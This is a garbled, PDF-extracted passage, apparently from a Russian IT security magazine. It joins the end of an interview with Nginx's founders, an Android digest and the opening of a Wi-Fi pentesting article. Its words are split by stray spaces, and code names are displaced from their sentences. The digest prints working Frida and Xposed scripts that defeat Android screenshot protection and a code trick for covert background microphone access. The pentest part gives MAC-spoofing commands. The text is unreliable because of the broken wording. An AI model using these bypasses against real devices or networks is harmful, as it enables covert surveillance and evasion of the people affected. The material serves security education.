пания соз давалась как раз с целью улуч шить раз работ ку и про дукт, поэто му
сей час  я  пыта юсь  себя  это му  научить.  Кол леги  занима ются  орга низа цион‐ 
ными воп росами, обще нием с кли ента ми, мар кетин гом, отно шени ями с пар‐ 
тне рами, докумен таци ей, най мом пер сонала и др. Раз ных слож ностей у нас
мно го,  научить ся  общать ся  на  раз ных  уров нях  —  это  быва ет  не  так  лег ко.
На  самом  деле  мы  все  учас тву ем  во  всех  делах  ком пании,  пос коль ку  ком‐ 
пания не такая боль шая, а дел мно го.

— Делеги ровать было слож но, потому что казалось, что все пло хо
дела ют, про ще самому?
— Ну да, под ход такой, что я луч ше это сам сде лаю, потому что это будет луч‐ 
ше,  или  потому  что  дол го  объ яснять,  что  нуж но  делать,  или  пси холо гичес ки
тяжело ска зать: «Сде лай вот это». Лич но мне делеги ровать пол номочия было
тяжело по ряду при чин. Сей час, как тех ничес кий дирек тор, я в основном отве‐ 
чаю за архи тек туру и качес тво раз работ ки.

— Игорь, боль шое вам спа сибо за интервью! Вид но, что вы
все‑таки научи лись делеги ровать: со все ми нашими биз нес‑воп -
росами вы нас отпра вили к Мак симу Конова лову.
— Кста ти, это пер вое интервью, которое я даю. Сог ласил ся толь ко из‐за того,
что  соз дали  ком панию.  Бук валь но  вес ной меня  поп росили  люди  из  дру гого
ИТ‐изда ния, я ска зал им: «Изви ните, я не люб лю, не хочу и не умею».

— Еще раз спа сибо! Мак сим, в перего ворах с инвесто рами вы
пред став ляли какой‑то фор мализо ван ный биз нес‑план? На чем
вы вооб ще пла ниру ете зараба тывать день ги?
— В основном фон ды инвести рова ли в Nginx как в очень пер спек тивный про‐ 
дукт. Деталь ный биз нес‐план, конеч но, был важен, но аме рикан ские инвесто‐ 
ры под ходят к воп росу инвести ций, базиру ясь не толь ко и не столь ко на биз‐ 
нес‐пла не,  где будет написа но, что мы зарабо таем за  год столь ко‐то с  точ‐ 
ностью до десят ков цен тов. Важ но было  то,  что Nginx сей час очень популя‐ 
рен, это уже готовый, сущес тву ющий про дукт.

По  поводу  того,  что  у  нас  за  идеи  для  зараба тыва ния  денег:  мы  хотим
преж де  все го  добить ся  пра виль ного  балан са меж ду  бес плат ным и  плат ным
фун кци она лом.  Мы  хотим  сде лать  то,  что  не  сов сем  уда лось  в  прош лом
целому  ряду  ком паний.  Есть  нес коль ко  при меров  биз неса  на  базе  раз‐ 
работок  open  source,  где  ком пании  не  смог ли  удер жать  нуж ный  баланс,
приш лось  зак рывать  какие‐то  фичи  в  самом  про дук те,  про сить  за  них
какие‐то  нелепые  день ги,  это  всех  расс тро ило,  и  про дук ты  перес тали  раз‐ 
вивать ся.

— То есть вы хотите сде лать отдель ный ком мерчес кий про дукт
и най ти баланс меж ду откры тым про дук том и ком мерчес ким?
Мы не хотим делать отдель ный ком мерчес кий про дукт, мы хотим делать ком‐ 
мерчес кие надс трой ки над основным про дук том open source. Он будет раз‐ 
вивать ся,  будут  появ лять ся  фичи,  которые  тре буют ся  сооб щес тву.  День ги,
которые  мы  получи ли,  помогут  нам  пос тавить  все  про изводс тво  про дук та
на новый уро вень. Сей час Игорь уже не в оди ноч ку работа ет над кодом, стро‐ 
ится коман дная раз работ ка. Мы при нима ем на работу людей в Рос сии, инже‐ 
нер ная коман да в Мос кве оста нет ся.

Со ответс твен но,  фокус  на  про дук те  open  source  —  он  очень  силь ный
и будет оста вать ся таким.

В  то же  вре мя мы  зна ем,  что  есть  кли енты,  боль шие  ком пании,  сред ние
ком пании, даже малень кие ком пании, которые дол гое вре мя исполь зуют Ng‐
inx. Они пос тро или на этом биз нес и бла годар ны нам. Ког да мы встре чаем ся,
то слы шим что‐то вро де: «Отличный, замеча тель ный про дукт — спа сибо вам
боль шое! Но нам не хва тает того‐то и того‐то. Можете ли вы это сде лать —
мы вам готовы пла тить?» Из таких раз говоров у нас пос тепен но скла дыва ется
цепоч ка того, что мы мог ли бы про давать, не огор чая при этом сто рон ников
про дук та free open source и не под рывая доверия к про екту в целом. То есть
мы  собира ем  подоб ные  зап росы  и  срав нива ем  их  с  пожела ниями,  которые
пос тупа ют от сооб щес тва поль зовате лей. Мы смот рим, где есть пересе чения
и, если понима ем, что какой‐то фун кци онал на самом деле необ ходим всем,
а  не  какой‐то  отдель ной  ком пании, мы  это  реали зуем  в  бес плат ной  вер сии
про дук та.

Есть даже ком пании, которые говорят: «Давай те мы вам зап латим за все
эти  фичи,  что бы  они  быс трее  появи лись  в  про дук те.  Мы  хотим,  что бы  все
попало  в  open  source,  мы  не  хотим,  что бы  фича  была  экс клю зив ная  и/или
плат ная». Это называ ется sponsored development.

По ка  у  нас  сфор мирова лись  идеи,  что  ком мерчес кие  надс трой ки  будут
боль ше  отно сить ся  к  круп ным  при мерам  при мене ния  Nginx:  нап ример,
с помощью ком мерчес ких надс тро ек будет лег че управлять тысяча ми инстан‐ 
сов,  будет  рас ширен ный  монито ринг  про изво дитель нос ти,  допол нитель ный
фун кци онал,  рас счи тан ный  на  хос тинго вые,  облачные  и  CDN‐инфраструк‐ 
туры.

— То есть у вас фокус имен но на про дук те. Не будете отдель но
про давать услу ги, нап ример, по внед рению, кон салтин гу?
— Дело в  том, что ком пания малень кая, она будет оста вать ся малень кой —
рас ти  до  ком пании  в  нес коль ко  сотен  человек  мы  не  хотим.  Мы  активно
работа ем  с  пар тне рами,  с  сис темны ми  интегра тора ми,  с  вен дорами  соф та
и железа,  активно ищем каналы для работы через пар тне ров. Кон суль тации
будут  осу щест влять ся  час тично  через  пар тне ров,  час тично  через  нас.
К сожале нию, услу ги кон салтин га и тех ничес кой под дер жки всем поль зовате‐ 
лям мы сами, непос редс твен но, пре дос тавлять не смо жем.

— А что ждет обыч ных поль зовате лей в бли жай шее вре мя, пла -
ниру ете какие‑то новые фичи?
—  Из  исто рии  изме нений  в  коде  за  пос ледние  три  месяца,  из  спис ка
релизов, которые мы выпус тили, вид но, что с момен та обра зова ния ком пании
мы серь езно акти визи рова ли про цесс раз работ ки и  вне сения исправ лений.
Мы интегри рова ли дос таточ но мно го и дорабо ток, и новых опций. Добави ли,
к  при меру,  стри минг  MP4,  о  котором  Иго ря  спра шива ли  нес коль ко  лет.
Работа идет, фун кци онал раз вива ется.

— Я пра виль но понимаю, что Игорь Сысо ев — глав ный акци онер
ком пании, а осталь ная, мень шая доля при над лежит инвесто рам?
— Да,  Игорь —  основной  акци онер,  все го  же  учре дите лей  ком пании  трое,
и есть, естес твен но, инвесто ры как вла дель цы, груп па инвесто ров — они сов‐ 
мес тно  вла деют  какой‐то  частью.  Кста ти,  сам  про цесс  получе ния  денег
от  инвесто ров  тех ничес ки  выг лядит  очень  прос то  —  выпус кают ся  цен ные
бумаги  по  соот ветс тву юще му  законо датель ству,  инвесто ры  их  покупа ют
за  какую‐то  сум му. Сум ма  перехо дит  к  вам,  вы  ее  исполь зуете  на  раз витие
ком пании. Имен но так все у нас и устро ено.
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Се год ня в выпус ке: под робнос ти уяз вимос‐ 
ти  StrandHogg,  которая  поз воля ет  под‐ 
менить любое при ложе ние в любой вер сии
Android; обход защиты на дос туп  к  камере,
мик рофону  и  мес тополо жению;  обход
защиты  на  сня тие  скрин шотов;  хорошие
и  пло хие  при емы  прог рамми рова ния
на  Kotlin;  псев донимы  типов  дан ных
и  инлай новые  клас сы  в  Kotlin;  а  так же  ста‐ 
тис тика  по  вер сиям  Android  от  PornHub
и под борка биб лиотек для прог раммис тов.

ПОЧИТАТЬ

StrandHogg — уяз вимость с «под меной» при ложе ний
  —  под робнос ти  нашумев шей  уяз вимос ти  всех

вер сий  Android  (вклю чая  10),  поз воля ющей  под менить  экран  (активность)
одно го при ложе ния на экран дру гого.

The  StrandHogg  vulnerability

Что  про изош ло:  спе циалис ты  нор веж ской  ком пании  Promon  обна ружи ли
в  Android  уяз вимость,  которая  поз воля ет  под менить  экран  (активность)
легитим ного при ложе ния, под сунув вмес то нее экран злов редно го при ложе‐ 
ния. В резуль тате у зло умыш ленни ков появ ляет ся воз можность про вес ти ата‐ 
ку  с  исполь зовани ем  фишин га  или,  нап ример,  зап росить  для  злов редно го
при ложе ния допол нитель ные пол номочия яко бы от лица дру гого при ложе ния.

Что  про изош ло  на  самом  деле:  в  Android  у  активнос тей  есть  флаг
.  Он  поз воля ет  ука зать  имя  задачи  (task),  в  стек  активнос тей

которой  попадет  ука зан ное  при ложе ние.  Это  нуж но  для  более  тон кого
управле ния сте ками обратных перехо дов. Но есть одна проб лема: по  умол‐ 
чанию зна чение   рав но име ни пакета при ложе ния, а это зна чит,
что в ряде слу чаев мож но незамет но всу нуть активность сво его при ложе ния
в стек активнос тей  чужого. А если еще и  ука зать флаг 

,  эту  активность  мож но  перед винуть  на  самый  верх  и  при  сле‐ 
дующем кли ке по икон ке целево го при ложе ния она появит ся на экра не пер‐ 
вой (то есть будет находить ся на вер шине сте ка).

taskAffinity

taskAffinity

allowTaskReparent‐
ing="true"

Страш но? Конеч но, но,  как и обыч но, сто ит коп нуть  глуб же — и страх прой‐ 
дет.

Во‐пер вых, об этой «уяз вимос ти» извес тно уже мно го лет. Пре дыду щая ее
вари ация  называ лась  Android  Task  Hijacking,  и  мы 

.
пи сали  о  ней

еще в 2017 году
Во‐вто рых,  экс плу ата ция  уяз вимос ти  тре бует,  что бы  и  злов редное  при‐ 

ложе ние,  и  при ложе ние‐жер тва  были  уже  запуще ны.  Пос ледова тель ность
дей ствий поль зовате ля дол жна быть такой: он запус кает при ложе ние‐жер тву,
воз вра щает ся  на  рабочий  стол,  затем  запус кает  злов редное  при ложе ние,
затем сно ва запус кает при ложе ние‐жер тву. В этот момент вмес то холод ного
запус ка Android прос то показы вает самую «вер хнюю» активность в сте ке, а ей
ока зыва ется активность злов редно го при ложе ния.

В‐треть их,  Google  дей стви тель но  отка зыва ется  исправ лять  уяз вимость
на про тяже нии нес коль ких лет. Прос то потому, что это так называ емый design
flaw,  то есть ошиб ка про екти рова ния, исправ ление  которой сло мает сущес‐ 
тву ющий софт.

На конец,  в‐чет вертых,  у  проб лемы  уже  дав но  есть  решение.  Дос таточ но
ука зать   в эле мен те  , и все активнос ти тво его
при ложе ния ста нут неуяз вимы к ата ке.

taskAffinity="" Application

Мо раль: не читай те совет ских газет, читай те доки по безопас ности.

Об ход защиты на сня тие скрин шотов
 — статья о том, как с помощью

Frida отклю чить защиту на сня тие скрин шота при ложе ния.
Android Frida hooking: disabling FLAG_SECURE

Крат ко:  Android  поз воля ет  раз работ чику  при ложе ния  зап ретить  сни мать
скрин шоты  опре делен ных  активнос тей  при ложе ния.  Для  это го  необ ходимо
уста новить флаг   для окна:FLAG_SECURE

public class FlagSecureTestActivity extends Activity {
   @Override
   public void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       getWindow().setFlags(WindowManager.LayoutParams.FLAG_SECURE, 
WindowManager.LayoutParams.FLAG_SECURE);
       setContentView(R.layout.main);
       ...
   }
}

Обой ти эту защиту мож но нес коль кими спо соба ми. Нап ример, исполь зовать
модуль Xposed  , который перех ватыва ет фун кцию 
и прос то отфиль тро выва ет флаг  :

DisableFlagSecure setFlags
FLAG_SECURE

@Override
public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPa
ckageParam) throws Throwable {
   XposedHelpers.findAndHookMethod(Window.class, "setFlags", int.
class, int.class, mRemoveSecureFlagHook);
}

private final XC_MethodHook mRemoveSecureFlagHook = new XC_MethodHook
() {
   @Override
   protected void beforeHookedMethod(MethodHookParam param) throws 
Throwable {
       Integer flags = (Integer) param.args[0];
       flags &= ~WindowManager.LayoutParams.FLAG_SECURE;
       param.args[0] = flags;
   }
};

Од нако Xposed  тре бует пра ва  root на  устрой стве  (есть про ект  ,
не тре бующий root, но мно гие модули в нем не работа ют). Frida, с дру гой сто‐ 
роны,  может  работать  на  любом  устрой стве  без  необ ходимос ти  получать
пра ва root.

VirtualXposed

Вот как выг лядит тот же код отклю чения в вари анте для Frida:

Java.perform(function () {
   var FLAG_SECURE = 0x2000;
   var Window = Java.use("android.view.Window");
   var setFlags = Window.setFlags;

   setFlags.implementation = function (flags, mask) {
      console.log("Disabling FLAG_SECURE...");
      flags &= ~FLAG_SECURE;
      setFlags.call(this, flags, mask);
   };
});

Ис поль зовать так:

$ frida ‐U ‐l наш_скрипт.js ‐f имя.пакета.приложения ‐‐no‐pause

Об ход огра ниче ния на дос туп к камере, мик рофону и мес тополо -
жению в фоне

 — док лад с кон‐ 
ферен ции Black Hat Europe 2019 с опи сани ем очень прос той тех ники обхо да
защиты на дос туп к камере, мик рофону и мес тополо жению в Android 9 и 10.

Androids Invisible Foreground Services and How to (Ab)use Them

Проб лема: в Android 9 появи лось   на дос туп к камере и мик‐ 
рофону,  если  в  дан ный  момент  при ложе ние  находит ся  в  фоне.  В  Android
10  добави лось  огра ниче ние  на  дос туп  к  мес тополо жению  с  воз можностью
выб рать,  хочет  ли  поль зователь,  что бы  при ложе ние  мог ло  получать  коор‐ 
динаты, толь ко пока видимо на экра не, или в фоне тоже.

ог раниче ние

Ис клю чение дает ся  толь ко при ложе ниям, име ющим активный  foreground‐
сер вис,  который,  в  свою  оче редь,  обя зан  вывес ти  видимое  поль зовате лю
уве дом ление и икон ку в стро ке сос тояния.

Ес ли мы хотим соз дать гипоте тичес кую мал варь, луч ше оста вать ся скрыт‐ 
ными и никаких уве дом лений не показы вать. Но как это сде лать?

Ре шение: начиная с пятой вер сии в Android есть механизм JobScheduler,
который  поз воля ет  запус кать  код  пери оди чес ки  или  при  нас тупле нии  опре‐ 
делен ных  событий  (нап ример,  под клю чение  к  заряд ному  устрой ству).  Мы
мог ли  бы  исполь зовать  его  для  пери оди чес кого  запус ка  наших  шпи онских
фун кций, но задачи JobScheduler’а тоже выпол няют ся в фоне.

Вы ход  сос тоит  в  том,  что бы  при  нас тупле нии  события  JobScheduler’а
запус тить сер вис, затем сде лать его foreground‐сер висом с помощью 

,  быс тро  получить  дос туп  к  камере,  мик рофону  и  мес тополо‐ 
жению и оста новить сер вис:

start‐
Foreground

@Override
public int onStartCommand(Intent intent, int flags, int startId){
   Notification notification = createCustomNotification();
   this.startForeground(1, notification)
   accessMicrophone();
   stopForeground(true);
   return START_STICKY;
}

Трюк сос тоит в  том,  что, если сде лать работу дос таточ но быс тро  (по  утвер‐ 
жде нию авто ра док лада — за пять секунд), сис тема прос то не покажет уве‐ 
дом ление.

Proof of  concept  есть на  . Баг  ,  теперь  уве дом ление
будет показа но в любом слу чае.

GitHub уже исправ лен

РАЗРАБОТЧИКУ

Хо рошие и пло хие при емы прог рамми рова ния на Kotlin
 — статья о прак тиках прог рамми‐ 

рова ния на Kotlin, хороших и пло хих.
Good And Bad Practices Of Coding  In Kotlin

Пер вый при мер

fun main {
   val file = File("/my_file")
   val writer = file.printWriter()
   try {
       writer.println("Hello World")
   } catch(__: Exception){
       // Обработка исключения
   } finally {
      writer.close()
   }
}

Это стан дар тный спо соб записи стро ки в файл: откры ваем файл и с помощью
  записы ваем  стро ку.  В  завер шение  зак рыва ем  PrintWriter  даже

в том слу чае, если будет выб рошено исклю чение.
PrintWriter

Этот код мож но перепи сать так:

fun main () {
   val file = File("/my_file")
   file.printWriter().use {
       it.println("Hello World")
   }
}

В  слу чае  с  объ екта ми,  реали зующи ми  интерфейс    (здесь 
),  фун кция‐рас ширение    авто мати чес ки  вызыва ет  метод 

пос ле выпол нения кода лям бды.

Closeable Print‐
Writer use close

Вто рой при мер

val list = listOf("Ahsen", "Bob", "Alex", "Jasmine")
val anotherList = listOf(1, 2, 3, 4)
fun main() {
   val size = list.size
   for(i in 0..size)
      println("Name ‐> ${list[i]} and number ‐> ${anotherList[i]}")
}

Этот код про ходит в цик ле сра зу по двум спис кам. Но в нем есть одна проб‐ 
лема:  если  вто рой  спи сок  будет  длин нее  пер вого,  при ложе ние  упа дет
с исклю чени ем ArrayIndexOutOfBoundsException.

Kotlin поз воля ет решить эту проб лему и заод но сде лать код гораз до более
эле ган тным:

val list = listOf("Ahsen", "Bob", "Alex", "Jasmine")
val anotherList = listOf(1, 2, 3, 4, 5, 6, 7)
fun main() {
   for((name, number) in list.zip(anotherList))
       println("Name ‐> $name and number ‐> $number")
}

Ме тод    соз дает  набор  пар  (pair),  где  пер вый  эле мент  пары —  зна чение
из  пер вого  спис ка,  вто рой  эле мент  —  зна чение  из  вто рого  с  тем  же
индексом. В этом при мере пара авто мати чес ки рас кла дыва ется на перемен‐ 
ные   и   с помощью дес трук тивно го опе рато ра.

zip

name number

Тре тий при мер

val firstList = listOf("Ahsen", "Bob", "Alex", "Jasmine")
val secondList = listOf("Ahsen", "Jack", "Alen", "Jasmine")
fun main() {
   val result = mutableListOf<String>().apply {
       addAll(secondList)
   }
   for(name in firstList)
      if(!secondList.contains(name))
          result.add(name)
   println(result)
}

Дан ный  код  объ еди няет  два  одно тип ных  спис ка  так,  что бы  их  зна чения
не  пов торялись.  Но  в  Kotlin  у  спис ков  есть  метод  ,  пред назна чен ный
имен но для это го:

union

val firstList = listOf("Ahsen", "Bob", "Alex", "Jasmine")
val secondList = listOf("Ahsen", "Jack", "Alen", "Jasmine")
fun main() {
   val result = firstList.union(secondList)
   println(result)
}

Чет вертый при мер

const val NAME = "Ahsen"
val x = NAME as Int
fun main() {
   println(x)
}

Дан ный  код  выб росит  исклю чение ClassCastException,  потому  что  кон стан та
NAME  име ет  тип  не  Int.  Что бы  такого  не  про исхо дило,  мож но  исполь зовать
опе ратор  :as?

const val NAME = "Ahsen"
val x = NAME as? Int
fun main() {
   println(x)
}

Ес ли  при веде ние  типов будет  невоз можно,  перемен ная    получит  зна чение
null.

x

Typealias в Kotlin
 — замет ка о клю чевом сло ве typealias,

которое мож но исполь зовать для наз начения про изволь ных имен раз личным
типам дан ных.

Maintaining crisp code with type aliases

Пред ста вим, что у нас есть спи сок юзе ров  . Исполь зовать его
в  коде  неудоб но,  авто допол нение  работа ет  пло хо.  Поэто му  мы  хотели  бы
при думать для него более прос тое имя.

List<User>

Тра дици онный спо соб сде лать это — завер нуть спи сок в класс:

data class Users(val userList: List<User>)

Но в Kotlin есть более прос той и лишен ный овер хеда вари ант:

typealias Users = List<User>

Typealias не вво дит новый тип дан ных и не соз дает клас сов, это прос то вто рое
имя  для  опре делен ного  типа  дан ных.  Его  мож но  исполь зовать  не  толь ко
для сок ращения записи, но и для раз деления ней мспей сов, если нес коль ко
пакетов содер жат клас сы с оди нако выми име нами.

Дру гие полез ные при меры исполь зования typealias:
• Бо лее наг лядный спо соб объ явле ния лямбд:

typealias Result<T> = (T) ‐> Unit

fun fetchData(callback: Result<String>)

• Мар киров ка nullable‐типов:

typealias MaybeBook = Book?

• Быс трый дос туп к вло жен ным клас сам:

typealias DialogBuilder = AlertDialog.Builder

val dialog = DialogBuilder().build()

Ин лай новые клас сы в Kotlin
  —  замет ка,  рас ска зыва ющая,

как  исполь зовать  инлай новые  клас сы  Kotlin,  что бы  защитить ся  от  оши бок
и улуч шить чита емость кода.

Low‐overhead  wrappers  using  inline  classes

Пред ста вим, что у нас есть такая фун кция:

fun renderLocation(latitude: Double, longitude: Double) {
   map.render(latitude, longitude)
}

На  пер вый  взгляд  все  хорошо,  но  есть  проб лема:  что,  если  ты  слу чай но
передашь ей дол готу вмес то широты и широту вмес то дол готы? Они обе име‐ 
ют  тип  ,  поэто му  у  ком пилято ра не будет  воз можнос ти пре дуп редить
тебя об ошиб ке.

Double

По могут клас сы‐врап перы:

class Latitude(val value: Double)
class Longitude(val value: Double)

fun renderLocation(latitude: Latitude, longitude: Longitude) {
   map.render(latitude, longitude)
}

Но  так  ты  получишь  овер хед,  ком пилято ру  при дет ся  соз дать,  по  сути,  два
лиш них объ екта и выделить для них память в хипе.

Для решения этой проб лемы в Kotlin 1.3 появи лись так называ емые инлай‐ 
новые клас сы:

inline class Latitude(val value: Double)
inline class Longitude(val value: Double)

fun renderLocation(latitude: Latitude, longitude: Longitude) {
   map.render(latitude, longitude)
}

Те перь ком пилятор смо жет авто мати чес ки заменить все исполь зования объ‐ 
ектов клас сов   и   на  . Вот так будет выг лядеть фун‐ 
кция  , деком пилиро ван ная в Java:

Latitude Longitude Double
renderLocation

public static final void renderLocation‐vKZqJUM(double latitude, 
double longitude) {
   map.render‐vKZqJUM(latitude, longitude);
}

Об рати  вни мание  на    в  кон це  име ни  фун кции.  Это  хеш,  который
добав ляет ком пилятор ко всем фун кци ям, при нима ющим инлай новые клас сы
в  качес тве  аргу мен тов. Он  нужен,  что бы  в  коде  слу чай но  не  появи лись  две
оди нако вые  фун кции  с  оди нако выми  аргу мен тами  (нап ример,  если  ты  соз‐ 
даешь  еще  одну  фун кцию    с  дву мя  аргу мен тами  типа

).

‐vKZqJUM

renderLocation
Double

Кор рек тное выделе ние тек ста на фоне
 — статья о  том,  как  сде лать  текст

и икон ки чита емы ми на раз ном фоне. Автор пред лага ет алго ритм авто мати‐ 
чес кого выбора тем ного или свет лого цве та тек ста в зависи мос ти от исполь‐ 
зуемо го фона.

Contrasting  text  and  icons over background

Для  начала  соз дадим  прос тую  фун кцию‐рас ширение  для  опре деле ния
«уров ня тем ности» фона:

fun @receiver:ColorInt Int.isDark(): Boolean =
   ColorUtils.calculateLuminance(this) < 0.5

Фун кция исполь зует класс   из биб лиоте ки androidx.core и воз вра‐ 
щает  true,  если фон  дос таточ но  тем ный,  что бы  белый  текст  на  нем  читал ся
хорошо.

ColorUtils

Ис поль зовать эту фун кцию мож но так:

val color = Color.parseColor("#e91e63")

if (color.isDark()) {
   colorHex.setTextColor(R.color.white)
   favIcon.setImageResource(R.drawable.ic_favorite_border_white_24dp
)
} else {
   colorHex.setTextColor(R.color.black)
   favIcon.setImageResource(R.drawable.ic_favorite_border_black_24dp
)
}

Здесь   —  это  цвет  фона,  а    и   —  тек сто вый  вид жет
и  вид жет  икон ки.  Если  цвет  тем ный,  текст  и  икон ка  окра шива ются  в  белый,
ина че — в чер ный.

color colorHex favIcon

Но  что,  если  в  качес тве фона  исполь зует ся  кар тинка? В  этом  слу чае мы
можем извлечь из  кар тинки наибо лее зна чимые цве та  (палит ру)  с помощью
клас са   и про верить их яркость с помощью фун кции  :Palette isDark

Palette.from(bitmap)
   .maximumColorCount(3)
   .clearFilters()
   .setRegion(bitmap.width ‐ iconSize , 0, bitmap.width, iconSize)
   .generate { palette ‐>
       val lightness = ColorUtils.isDark(palette)
       val isDark = if (lightness == ColorUtils.LIGHTNESS_UNKNOWN) {
           ColorUtils.isDark(bitmap, bitmap.width ‐ iconSize / 2, 
iconSize / 2)
       } else {
           lightness == ColorUtils.IS_DARK
       }

       if (isDark) { // Make back icon dark on light images
           favIcon.setImageResource(R.drawable.ic_favorite_bor
der_white_24dp)
       } else {
           favIcon.setImageResource(R.drawable.ic_favorite_bor
der_black_24dp)
       }
   }

Пред полага ется, что мы раз меща ем нашу икон ку в пра вом вер хнем углу кар‐ 
тинки,  поэто му  с  помощью  фун кции    ука зыва ем  пра вый  вер хний
угол.  Затем  с  помощью    мы  выяс няем,  тем ная  ли
это  палит ра.  Если  выяс нить  это  не  уда лось,  про буем  опре делить  яркость
отдель но взя того пик селя посере дине инте ресу ющей нас области. Затем мы
меня ем цвет икон ки в зависи мос ти от получен ных резуль татов.

setRegion
ColorUtils.isDark

Сто ит отме тить, что в стан дар тном клас се   из пакета androidx.‐
core  нет  метода  isDark.  В  дан ном  при мере  исполь зует ся  класс  ColorUtils
из про екта  .

ColorUtils

Plaid

Ста тис тика рас пре деле ния вер сий Android
В мае  это го  года Google  перес тала  пуб ликовать  ста тис тику  по  вер сиям An‐
droid. Одна ко PornHub испра вил этот недочет,   собс твен ную ста‐ 
тис тику.

опуб ликовав

Что сле дует иметь в виду при изу чении этих дан ных:
Ста тис тика Google пок рыва ет все устрой ства, которые так или ина че под‐ 
клю чались  к  Google  Play.  Сре ди  этих  устрой ств  есть  мно жес тво  «зво‐ 
нилок»,  ста рых  смар тфо нов,  которые  люди  про дол жают  исполь зовать
спус тя  мно го  лет  пос ле  релиза.  Ведь  зво нить,  писать  и  прос матри вать
свод ку  погоды  мож но  с  ком фортом  и  на  устрой стве  десяти лет ней  дав‐ 
ности.

•

Ста тис тика PornHub, кро ме устрой ств с сер висами Google, так же пок рыва‐ 
ет несер тифици рован ные устрой ства и устрой ства с кас томны ми про шив‐ 
ками, но без сер висов Google.

•

Ос новная  мас са  поль зовате лей  PornHub  —  люди  в  воз расте
от 18 до 34  лет  (дан ные из  той же  ста тис тики). Дру гими сло вами,  это  те
самые «активные» поль зовате ли смар тфо нов, которые регуляр но покупа‐ 
ют новые устрой ства.

•

ИНСТРУМЕНТЫ

  —  вир туаль ная  машина  для  быс тро го  запус ка
мал вари.

• Android  Malware  Sandbox

БИБЛИОТЕКИ

 — быс трая биб лиоте ка линей ной алгебры;• Keigen
 — спи сок всех фун кций‐рас ширений, дос тупных в биб лиоте‐ 

ках Android‐KTX;
• Extensions‐list

  —  биб лиоте ка  для  заг рузки,  кеширо вания  и  обновле ния  дан ных
из сети;

• Store

  —  биб лиоте ка  для  обновле ния  кода  и  ресур сов  при ложе ния
без обновле ния все го пакета;

• Tinker

 — ана лог RxBinding на осно ве Kotlin Flow;• FlowBinding
 — раз личные виды диало гов;• AestheticDialogs

 — биб лиоте ка для показа/скры тия лай отов с ани маци ей;• Flourish
 — биб лиоте ка для соз дания диало гов в сти ле Mater‐

ial Design;
• MaterialDialog‐Android

 — галерея с эффектом парал лакса.• ParallaxScrollingView
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ПРОСТЫЕ ТРЮКИ,
КОТОРЫЕ ВЫРУЧАЮТ
ПРИ ПЕНТЕСТЕ WI‐FI

Иван Пискунов

COVERSTORY

В этой статье я покажу нес коль ко прос тых и рас простра нен‐ 
ных,  но  доволь но  эффектив ных  при емов  из  прак тики  пен‐ 
теста  сетей  Wi‐Fi:  скры тие  MAC‐адре са  при  ска ниро вании
сети и ата ке на WPA2, выяв ление «спря тан ных» сетей, обход
MAC‐филь тра ции и глу шение чужой точ ки дос тупа.

WARNING

Все советы нас тоятель но рекомен дует ся исполь‐ 
зовать  толь ко  в  целях  обра зова ния.  Бло киров ка
переда чи  дан ных  и  при мене ние  рас смот ренных
средств  может  прес ледовать ся  по  закону.
Для  про веде ния  тес тов  на  про ник новение  тре‐ 
бует ся  получить  соот ветс тву ющее  пись мен ное
под твержде ние  заказ чика.  Пом ни,  что  дан ные
о деав ториза ции сох раня ются в логах роуте ра.

СМЕНА И АВТОМАТИЧЕСКАЯ ГЕНЕРАЦИЯ НОВОГО MAC-АДРЕСА
ПРИ НОВОМ ПОДКЛЮЧЕНИИ К WI-FI
MAC (Media Access Control) — уни каль ный иден тифика тор, выда ется каж дой
еди нице активно го обо рудо вания (то есть сетево му адап теру, роуте ру, сви чу
и так далее) или некото рым их интерфей сам.

MAC  про шит  в  обо рудо вание  при  изго тов лении  и  исполь зует ся  в  сети
для иден тифика ции отпра вите ля и получа теля фрей ма. Пред полага ется,  что
при  появ лении  в  сети  нового  устрой ства  адми нис тра тору  не  при дет ся
задавать ему MAC вруч ную.

Схе ма стро ения шес тиок тетно го MAC‐адре са

MAC  уни кален  (или,  по  край ней  мере,  дол жен  быть)  для  каж дого  сетево го
интерфей са.  При  этом  у  устрой ства  их  может  быть  нес коль ко —  нап ример,
у ноут буков их как минимум два: один у кон трол лера про вод ного под клю чения
по Ethernet,  вто рой — у  адап тера Wi‐Fi.  У  роуте ра или  у  свит ча  адре са  уни‐ 
каль ны для каж дого пор та, а если это роутер Wi‐Fi, то раз личать ся будут адре‐ 
са  у  каж дого  бес про вод ного  интерфей са  (у  сов ремен ных  роуте ров
это 2,4 ГГц и 5 ГГц).

За чем менять MAC?
MAC  поз воля ет  однознач но  иден тифици ровать  устрой ство  и  не  меня ется
при сме не опе раци онной сис темы — он про шит в мик росхе му, которая пре‐ 
дос тавля ет сетевой интерфейс.

Пен тесте ры  и  хакеры  скры вают  свой  MAC,  что бы  не  допус тить  иден‐ 
тифика ции обо рудо вания при ата ке. Думаю, ты понима ешь, зачем это может
понадо бить ся: если исполь зовать реаль ный MAC, то он может быть зас вечен
при под клю чении к дру гим сетям. Сущес тву ют и средс тва сопос тавле ния MAC
с геог рафичес кими коор дината ми — нап ример, скрипт  iSniff‐GPS из набора
Kali.

Прак тика
Итак, пред положим, что ты исполь зуешь Linux. Давай пос мотрим, как сме нить
MAC без исполь зования допол нитель ных прог рамм.

От кры вай тер минал и вво ди коман ду

$ ifconfig | grep HWaddr

Ес ли ты исполь зуешь Ethernet, то пос мотреть адре са адап теров мож но так:

$ ifconfig | grep ether

Что бы  вре мен но  изме нить  свой  MAC,  нуж но  вык лючить  соот ветс тву ющий
сетевой интерфейс. Нап ример, для интерфей са eth1 коман да будет такой:

$ ifconfig eth1 down

Те перь мож но сфор мировать новый MAC.

$ ifconfig eth1 hw ether 00:00:00:00:00:11

Циф ры, как ты понима ешь, в этот шаб лон можешь под ста вить любые.
Те перь нуж но сно ва под нять eth1.

$ ifconfig eth1 up

И пос леднее — нуж но про верить, всту пили ли изме нения в силу. Если ты сно‐ 
ва пос мотришь спи сок MAC,  то уви дишь, что интерфейс изме нил ся. Одна ко
пос ле перезаг рузки компь юте ра ста рое зна чение MAC вер нется.

Бы ло  бы  удоб но,  если  бы MAC  изме нял ся  каж дый  раз  при  под клю чении
к сети. В этом нам поможет пакет  . Начиная с вер сии 1.4 эта
прог рамма под держи вает  спу финг MAC,  при чем  у  нее есть мно го  полез ных
опций.

NetworkManager

Для  каж дой  груп пы  «про вод ные»  (ethernet)  и  «бес про вод ные»  (wifi)  пра‐ 
вила MAC нас тра ивают ся отдель но.

Так же  пом ни,  что  бес про вод ной  адап тер  может  находить ся  в  одном
из двух сос тояний:

  —  зада ется  с  помощью  свой ства 
